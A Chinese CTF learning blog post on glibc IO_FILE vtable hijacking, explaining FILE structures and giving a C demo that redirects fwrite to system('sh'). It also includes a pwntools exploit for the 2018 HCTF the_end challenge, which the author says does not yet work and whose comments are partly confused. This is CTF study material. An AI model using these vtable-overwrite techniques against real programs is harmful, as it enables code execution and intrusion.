ctf-pwn-堆—IO_FILE

零、参考链接

        参考链接 1:必看的参考链接

        参考链接 2:ctf-wiki

        参考链接 3:文章作者记录了一些有关的调试过程,很不错的文章

        参考链接 4:需要一定的基础,我目前看不懂,但有很多源代码,这里留一下

        参考链接 5:ctf题

一、实验环境

        ubuntu16.04(也可参考其他教程)

二、总结

这里我对一些知识点做一个总结,以便以后回来看我能立马看懂

1、FILE文件结构

①:_IO_list_all 链接了所有的 _IO_FLE_plus(参考链接1):

②:_IO_FLE_plus 结构体中包含了 _IO_FILE结构体 与 IO_jump_t指针(参考链接3):

struct _IO_FILE_plus
{
    _IO_FILE    file;
    IO_jump_t   *vtable;
}
//32位下的偏移是0x94,而64位下偏移是0xd8  ----vtable
//--------------------- ↓ 这个偏移是个重点 ↓ ---------------------//
//下面引用参考链接1中的代码 ↓ 
FILE *fp = fopen("./123.txt", "rw");
i64 *vtable_addr = (i64 *) ((i8 *) fp + 0xD8);  //64位 0xD8
//--------------------- ↑ 这个偏移是个重点 ↑ ---------------------//

 ③:_IO_FILE_plus 中的 _IO_FILE 结构体源代码如下(参考链接3):

struct _IO_FILE {
  int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;   /* Current read pointer */
  char* _IO_read_end;   /* End of get area. */
  char* _IO_read_base;  /* Start of putback+get area. */
  char* _IO_write_base; /* Start of put area. */
  char* _IO_write_ptr;  /* Current put pointer. */
  char* _IO_write_end;  /* End of put area. */
  char* _IO_buf_base;   /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

下面这张图是我参照上图自己弄的,图1 ↑   图2 ↓

④:_IO_FILE_plus 中的 IO_jump_t 指针指向的 vtable 结构体如下(参考链接3)

void * funcs[] = {
   1 NULL, // "extra word"       //0x0   vtable[0]
   2 NULL, // DUMMY              //0x8
   3 exit, // finish
   4 NULL, // overflow
   5 NULL, // underflow
   6 NULL, // uflow
   7 NULL, // pbackfail

   8 NULL, // xsputn  #printf    //0x38  vtable[7]
   9 NULL, // xsgetn
   10 NULL, // seekoff           //0x48
   11 NULL, // seekpos           //0x50
   12 NULL, // setbuf            //0x58
   13 NULL, // sync
   14 NULL, // doallocate
   15 NULL, // read
   16 NULL, // write
   17 NULL, // seek
   18 pwn,  // close
   19 NULL, // stat
   20 NULL, // showmanyc
   21 NULL, // imbue
};

⑤:_IO_list_all 将所有的 _IO_FLE_plus 连成链,_IO_FLE_plus 包含了 _IO_FILE 与 IO_jump_t,同时_IO_FILE 与 IO_jump_t 的结构体分别在③、④两点中介绍了

⑥:_IO_FILE 中利用 _IO_FILE 结构体指针 chain 连接下一个 _IO_FILE 结构体(③中图2)

⑦:初始情况下 _IO_FILE 结构有 _IO_2_1_stderr_ 、_IO_2_1_stdout_ 、_IO_2_1_stdin_ 三个,通过 _IO_list_all 将这三个结构连成链。并且存在三个全局指针stdin、stdout、stderr分别指向_IO_2_1_stderr_ 、_IO_2_1_stdout_ 、_IO_2_1_stdin_ 这三个结构体。(照搬参考链接1中的)

FILE *stdin = (FILE *) &_IO_2_1_stdin_;
FILE *stdout = (FILE *) &_IO_2_1_stdout_;
FILE *stderr = (FILE *) &_IO_2_1_stderr_;

⑧:如果有文件读写操作则会为对应文件创建一个 _IO_FILE 结构体,并且链接到 _IO_list_all 链表上。(⑦、⑧点也可以看看③中的图2,对比理解一下)

整个 ①~⑧ 核心的重点是第 ⑤ 、⑥点中的那两句话: _IO_list_all 将所有的 _IO_FLE_plus 连成链,_IO_FLE_plus 包含了 _IO_FILE 与 IO_jump_t ,_IO_FILE 中利用 _IO_FILE 结构体指针 chain 连接下一个 _IO_FILE 结构体,IO_jump_t 是 vtable 结构体指针。了解了这个以后,别人的文章你基本就能看懂了,要学更多的东西去找别人的文章就行了。

补充:对了,第 ③ 点中的图二,是调到了这个位置

//代码用的是参考链接 1 中的代码
//gcc -g -o xxx -z execstack -fno-stack-protector -no-pie -z norelro xxx.c
#include <stdio.h>
#include<stdlib.h>
#include <string.h>

typedef unsigned long long i64;
typedef unsigned char i8;

int main() {
    FILE *fp = fopen("./123.txt", "rw");
    i64 *fake_vtable = malloc(0x40);
    fake_vtable[7] = (i64) &system;
    i64 *vtable_addr = (i64 *) ((i8 *) fp + 0xD8);
    *vtable_addr = (i64) fake_vtable;
    memcpy(fp, "sh", 3);
    fwrite("hi", 2, 1, fp);
    return 0;
}

三、一些文件 IO 函数

基本照搬参考链接1:

1、fopen --> _IO_new_open --> __fopen_internal --> malloc 创建 locked_FILE 结构体 --> _IO_no_init 对结构体进行 null 初始化 --> _IO_file_init 将结构体链接进 _IO_list_all 链表 --> _IO_file_open 执行系统调用打开文件

2、fread 

3、fwrite 

4、fclose --> _IO_new_fclose --> 调用 _IO_un_link 将文件结构体从 _IO_list_all 链表中取下 --> 调用 _IO_file_close_it 关闭文件并释放缓冲区 --> 释放 FILE 内存以及确认文件关闭

小结:这些函数的调用过程可以自己写代码调试,也可以去读源码,读源码难度大。

//gcc -g -o xxx xxx.c
#include<stdio.h>

int main()
{
        char buff[200];
        FILE *h,*h1;
        FILE *fp = fopen("xy.txt","rw"),*fp1;
        char str[] = "hahahahahahahaha";

        h = fopen("file.txt","rw");
        fread(buff,1,8,h);
        fclose(h);
        h1 = fopen("file.txt","a");
        fwrite(str,sizeof(str),1,fp);
        fclose(h1);

        fread(buff,1,12,fp);    //gdb从这开始用si跟踪
        printf("%s",buff);
        fclose(fp);

        fp1 = fopen("xy.txt","a");
        fwrite(str,sizeof(str),1,fp);
        fclose(fp);
        printf("\ngg");
        return 0;
}

四、一些相关知识

我比较懒,这里直接截 参考链接1 中的图了:

IO 调用的 vtable 函数:

fopen 函数是在分配空间,建立 FILE 结构体,未调用 vtable 中的函数。

fread 函数中调用的 vtable 函数有:

_IO_sgetn 函数调用了 vtable 的 _IO_file_xsgetn
_IO_doallocbuf 函数调用了 vtable 的 _IO_file_doallocate 以初始化输入缓冲区。
vtable 中的 _IO_file_doallocate 调用了 vtable 中的 __GI__IO_file_stat 以获取文件信息。
__underflow 函数调用了 vtable 中的 _IO_new_file_underflow 实现文件数据读取。
vtable 中的 _IO_new_file_underflow 调用了 vtable__GI__IO_file_read 最终去执行系统调用read。


fwrite 函数调用的 vtable 函数有:

_IO_fwrite 函数调用了 vtable 的 _IO_new_file_xsputn
_IO_new_file_xsputn 函数调用了 vtable 中的 _IO_new_file_overflow 实现缓冲区的建立以及刷新缓冲区。
vtable 中的 _IO_new_file_overflow 函数调用了 vtable 的 _IO_file_doallocate 以初始化输入缓冲区。
vtable 中的 _IO_file_doallocate 调用了 vtable 中的 __GI__IO_file_stat 以获取文件信息。
new_do_write 中的 _IO_SYSWRITE 调用了 vtable_IO_new_file_write 最终去执行系统调用write。


fclose 函数调用的 vtable 函数有:

在清空缓冲区的 _IO_do_write 函数中会调用 vtable 中的函数。
关闭文件描述符 _IO_SYSCLOSE 函数为 vtable 中的 __close 函数。
_IO_FINISH 函数为 vtable 中的 __finish 函数。

fopenfreadfwritefclose
NULL_IO_file_xsgetn_IO_new_file_xsputn__close
_IO_file_doallocate_IO_new_file_overflow__finish
__GI__IO_file_stat_IO_file_doallocate
_IO_new_file_underflow__GI__IO_file_stat
vtable__GI__IO_file_readvtable_IO_new_file_write

五、简单例子

例子也直接用 参考链接1 中的了

//gcc -g -o xxx xxx.c
#include <stdio.h>
#include<stdlib.h>
#include <string.h>

typedef unsigned long long i64;
typedef unsigned char i8;

int main() {
    FILE *fp = fopen("./123.txt", "rw");  //创建fp指针
    i64 *fake_vtable = malloc(0x40);      //为伪造的vtable申请一块堆空间

    //vtable[7]是 _IO_new_file_xsputn  #printf,fwrite执行时会调用这个
    fake_vtable[7] = (i64) &system;         
    //将其替换为 system ,致使执行fwrite时实际执行system函数

    //64位 vtable位置相对fp的偏移是0xD8
    i64 *vtable_addr = (i64 *) ((i8 *) fp + 0xD8);  
    //新建指针指向vtable
    
    //修改vtable地址指针指向的值为伪造的vtable的地址 
    *vtable_addr = (i64) fake_vtable;  

    //这一步我也不是很懂,反正这个sh就是system的参数,不知道为什么直接写入fd就行,有点迷   
    memcpy(fp, "sh", 3);
    //经调试,RDI存了"sh",函数的第一个参数一般就是rdi,我也不知道为啥会写进去

    //调用fwrite的过程中会执行 _IO_new_file_xsputn 而 _IO_new_file_xsputn 的地址
    fwrite("hi", 2, 1, fp);  
    //已经被修改为system函数的地址,所以执行fwrite相当于执行system
    //结合上一步,总体效果就是执行了system("sh");
  
    return 0;
}

2018 HCTF the_end

题目链接:2018 HCTF the_end

ida反编译出来的main函数:

void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  int i; // [rsp+4h] [rbp-Ch]
  void *buf; // [rsp+8h] [rbp-8h] BYREF

  sleep(0);
  printf("here is a gift %p, good luck ;)\n", &sleep);    //给出sleep函数地址,可得出libc地址
  fflush(_bss_start);           //刷新缓冲区,将缓冲区内的数据清空并丢弃
  close(1);                     //0表示stdin,1表示stdout,2表示stderr
  close(2);                     //这两句关闭了标准输出和错误流
  for ( i = 0; i <= 4; ++i )    //循环五次
  {
    read(0, &buf, 8uLL);        //输入一个任意地址
    read(0, buf, 1uLL);         //向该地址中写入一个字节
  }
  exit(1337);                   //调用exit()函数
}

经过前面的学习,我的思路大概是:

        1、调试找到exit()函数会调用vtable中的什么函数。

        2、伪造vtable,将伪造的vtable中exit()会调用的函数的地址修改为system的地址。

        3、想办法设置好system()函数的参数。

        4、执行exit()函数即可。

很经典的思路,但我写不出exp,只能先分析别人的exp:

//exp修改自 题目链接 中的exp
//目前还没打通,找了好几个别的exp,用python2去打也都没打通
from pwn import *
context.log_level="debug"

libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
p = process('./the_end')

sleep_ad = p.recvuntil(', good luck',drop=True).decode().split(' ')[-1]

libc_base = long(sleep_ad,16) - libc.symbols['sleep']
one_gadget = libc_base + 0xf02b0    //"bin/sh"地址
vtables =     libc_base + 0x3C56F8  //_IO_file_jmups,libc-2.23.so中去找,记住在哪就行,我也不知道怎么找

fake_vtable = libc_base + 0x3c5588  //fake_vtable的值的选定我还没不确定
target_addr = libc_base + 0x3c55e0  //要重写set_buf函数,所以偏移为0x58

print 'libc_base: ',hex(libc_base)
print 'one_gadget:',hex(one_gadget)
print 'exit_addr:',hex(libc_base + libc.symbols['exit'])

# gdb.attach(p)

for i in range(2):
	p.send(p64(vtables+i))
	p.send(p64(fake_vtable)[i])


for i in range(3):
    p.send(p64(target_addr+i))
    p.send(p64(one_gadget)[i])

p.sendline("exec /bin/sh 1>&0")     //为啥要加这一句我也不是很懂

p.interactive()

调试exit()函数时留下的一张图:

参考链接2 中的思路

        ①:利用的是在程序调用 exit 后,会遍历 _IO_list_all ,调用 _IO_2_1_stdout_ 下的 vtable_setbuf 函数

        ②:可以先修改两个字节在当前 vtable 附近伪造一个 fake_vtable ,然后使用 3 个字节修改 fake_vtable_setbuf 的内容为 one_gadget

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值